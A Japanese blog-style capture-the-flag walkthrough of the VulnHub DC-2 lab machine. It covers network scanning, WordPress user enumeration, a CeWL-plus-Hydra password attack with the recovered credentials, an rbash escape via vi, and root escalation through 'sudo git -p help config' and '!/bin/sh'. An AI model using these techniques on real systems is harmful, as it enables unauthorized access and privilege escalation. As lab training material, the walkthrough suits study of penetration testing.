はじめに
みなさん、こんにちは!
前回は「Potatoマシン」のハッキングを攻略しましたが今回は、「DC-2マシン」という違うマシンを攻略していきたいと思います!
まだまだ難しいことばかりですが、少しずつやっていきます!
1. ターゲットマシンのIPアドレスを特定する
まずは、netdiscoverを使用して同一ネットワーク内のIPアドレスを調査します。
sudo netdiscover -i enp0s3 -r 192.168.56.0/24
実行結果から、各マシンのIPアドレスを確認します。
| IPアドレス | 用途 |
|---|---|
| 192.168.56.1 | Parrot OS(攻撃マシン) |
| 192.168.56.100 | DHCPサーバー |
| 192.168.56.107 | DC-2(ターゲットマシン) |
続いて、ターゲットマシンのIPアドレスを環境変数に設定します。
export IP=192.168.56.107
最後に、作業用ディレクトリを作成します。
mkdir ./vulnhub/dc2
以上で、DC-2攻略の準備が完了しました。
2. ポートスキャンとWebサイトの確認
まずは、nmapを使用してターゲットマシンのポートスキャンを実施します。
nmap -sC -sV $IP --open -p-
スキャンの結果、以下のポートが開放されていることが確認できました。
| ポート番号 | サービス |
|---|---|
| 80 | HTTP |
| 7744 | SSH |
続いて、Webサイトへアクセスします。
ブラウザを起動し、以下のURLへアクセスします。
http://192.168.56.107/
しかし、このままではWebページを表示することができませんでした。
そこで、/etc/hostsファイルに以下の内容を追加します。
192.168.56.107 dc-2
設定後、ブラウザで以下のURLへアクセスします。
http://dc-2/
すると、Webページが正常に表示され、観葉植物をテーマにしたサイトが確認できました。

3. Webサイトの探索
まずは、Webサイト内を確認します。
「Flag」カテゴリーへアクセスすると、以下のようなページが表示されました。

内容を翻訳すると、次のようなことが書かれていました。
- 一般的なワードリストは役に立たないが、CeWLが有効である。
- 次のフラグを見るにはログインが必要である。
- フラグが見つからない場合は、別のユーザーでログインを試すこと。
※ここにFlagページのスクリーンショットを掲載します。
続いて、ターゲットのURLを環境変数に設定します。
export URL="http://$IP:80/"
次に、gobusterを使用してアクセス可能なディレクトリを列挙します。
gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt
実行すると、アクセス可能なディレクトリが一覧表示されました。
続いて、WordPressの管理画面へアクセスします。
http://192.168.56.107/wp-admin/
ログイン画面でユーザー名を変えて認証を試したところ、エラーメッセージに違いがあることを確認しました。
- ユーザー名:
hoge、パスワード:hoge- 「ユーザーが存在しない」という内容のエラーメッセージが表示されました。
- ユーザー名:
admin、パスワード:hoge- パスワードが誤っているという内容のエラーメッセージが表示されました。
このことから、adminユーザーは存在し、hogeユーザーは存在しないことが分かりました。
4. WordPressの情報収集とユーザー列挙
さらに情報収集を進めます。
WebサイトにはWordPressが使用されているため、wigを利用して使用されているソフトウェアやバージョンを調査します。
wig $URL
実行すると、WordPressをはじめ、使用されている各ソフトウェアやバージョン情報を確認できました。
続いて、WordPressのユーザーを列挙します。
nmap -p80 --script http-wordpress-users $IP
実行結果から、新たに**tom**というユーザーを発見できました。
これまでの調査結果を合わせると、以下の3名のユーザーが存在することが確認できました。
| ユーザー名 |
|---|
| admin |
| tom |
| jerry |
これにより、WordPressに存在するユーザーは admin、tom、jerry の3名であることが判明しました。
5. CeWLで辞書ファイルを作成し、WordPressの認証情報を調査する
まずは、CeWLを使用してWebサイトから辞書ファイルを生成します。
今回は、CeWLがあらかじめOSにインストールされていたため、そのまま利用しました。
cewl dc-2 -w cewl.txt
生成された辞書ファイルの内容を確認します。
head cewl.txt
これにより、Webサイト内の単語を基にした辞書ファイルを作成できました。
続いて、WordPressの認証情報を調査します。
オンラインパスワードクラッカーであるHydraを使用して認証を試行しました。
実行結果から、以下の認証情報を確認できました。
| ユーザー名 | パスワード |
|---|---|
| jerry | adipiscing |
| tom | parturient |
これにより、jerryとtomの認証情報を取得できたことが確認できました。
6. WordPressへログインし、SSHアクセスを試みる
取得した認証情報を使用して、WordPressのダッシュボードへログインします。
今回は、jerryユーザーでログインしました。
ログイン後、「Pages」→「All Pages」 を開くと、**「Flag2」**というタイトルのページが存在していることを確認できます。
Flag2の内容を確認すると、WordPressの脆弱性を攻撃できないのであれば、別の侵入口を探すべきというヒントが記載されていました。
WordPress以外で利用可能なサービスはSSHであるため、SSHへのログインを試みます。
まずは、jerryユーザーでSSHログインを試しました。
ssh jerry@$IP -p 7744
しかし、認証に失敗しログインすることはできませんでした。
続いて、tomユーザーでSSHログインを試します。
ssh tom@$IP -p 7744
tomユーザーでは正常にSSHログインすることができました。
7. tomユーザーの権限を調査する
SSHでtomユーザーとしてログインした後、実行可能なコマンドを確認します。
まず、現在のユーザー情報を確認するためにwhoamiやidコマンドを実行しましたが、どちらも使用できませんでした。
whoami
id
続いて、現在使用しているシェルを確認します。
echo $SHELL
実行結果から、制限付きシェルである**rbash**が使用されていることが分かりました。
さらに、tomユーザーのホームディレクトリを確認すると、以下のファイルとディレクトリが存在していました。
flag3.txtusr
最後に、flag3.txtの内容を確認するためにcatコマンドを実行しました。
cat flag3.txt
しかし、catコマンドは使用できず、制限付きシェルによって実行が制限されていることが確認できました。
-
whoami・idコマンドの実行結果 -
echo $SHELLの実行結果 - ホームディレクトリの内容
-
cat flag3.txtの実行結果
8. rbashの制限を回避し、基本コマンドを実行できる環境を構築する
tomユーザーでログインした状態では、rbash(Restricted Bash)が使用されているため、多くのコマンドが制限されています。
そこで、viを利用して通常のシェルへ切り替えます。
vi
vi起動後、以下のコマンドを入力します。
:set shell=/bin/sh
:shell
実行すると、通常のシェルのプロンプトが表示されます。
これにより、rbashからshへの切り替えに成功し、rbashによる機能制限を回避できます。
その後、環境変数PATHを再設定することで、制限されていた基本コマンドを実行できるようになります。
-
viの起動画面 -
:set shell=/bin/shおよび:shellの実行結果 -
shへ切り替わった後のプロンプト -
PATHを再設定後に基本コマンドが利用できることを確認した画面
9. jerryユーザーへ切り替え、sudoの設定を確認する
rbashの制限を回避した後、suコマンドを使用してjerryユーザーへ切り替えます。
su jerry
パスワードには、取得済みの認証情報を入力します。
adipiscing
ログイン後、ホームディレクトリを確認すると、flag4.txtファイルが存在していました。
内容を確認すると、**「まだ最後のフラグが残されており、そのヒントはここにはない」**という内容が記載されていました。
続いて、sudoで実行可能なコマンドを確認します。
sudo -l
実行結果から、**/usr/bin/git**については、パスワードなしでsudo実行できることが分かりました。
これは権限昇格につながる重要な情報です。
10. gitを利用して権限昇格を行う
sudo -lの実行結果から、/usr/bin/gitはパスワードなしで実行できることが分かりました。
この権限を利用して、git経由でシェルを起動します。
sudo git -p help config
gitのヘルプ画面が表示されたら、以下を入力します。
!/bin/sh
すると、root権限のシェルが起動し、プロンプトが表示されます。
これにより、gitを利用した権限昇格に成功しました。
最後に、rootユーザーのホームディレクトリへ移動します。
cd /root
ここから、rootユーザーのみがアクセスできるファイルや最終フラグを確認できます。
-
sudo git -p help configの実行結果 -
!/bin/shを入力した画面 -
rootシェルを取得した画面 -
/rootディレクトリへ移動した画面
ちなみにこの終了画面を翻訳してみるとこんな感じです。
「よくやりました!
おめでとうございます!!!
ツイートを送ってくれたり、フィードバックを提供してくださった皆さん、本当にありがとうございました。とても感謝しています。
このCTFを楽しんでいただけたなら、@DCAU7 宛てにツイートしてください。」
終わりに
これで、「DC-2マシン」の攻略は以上です!
初見なので分からないところもたくさんありましたが、なんとか最後までできました!
次回も攻略がんばって行きます!:)
最後までご覧いただき、ありがとうございました!!




























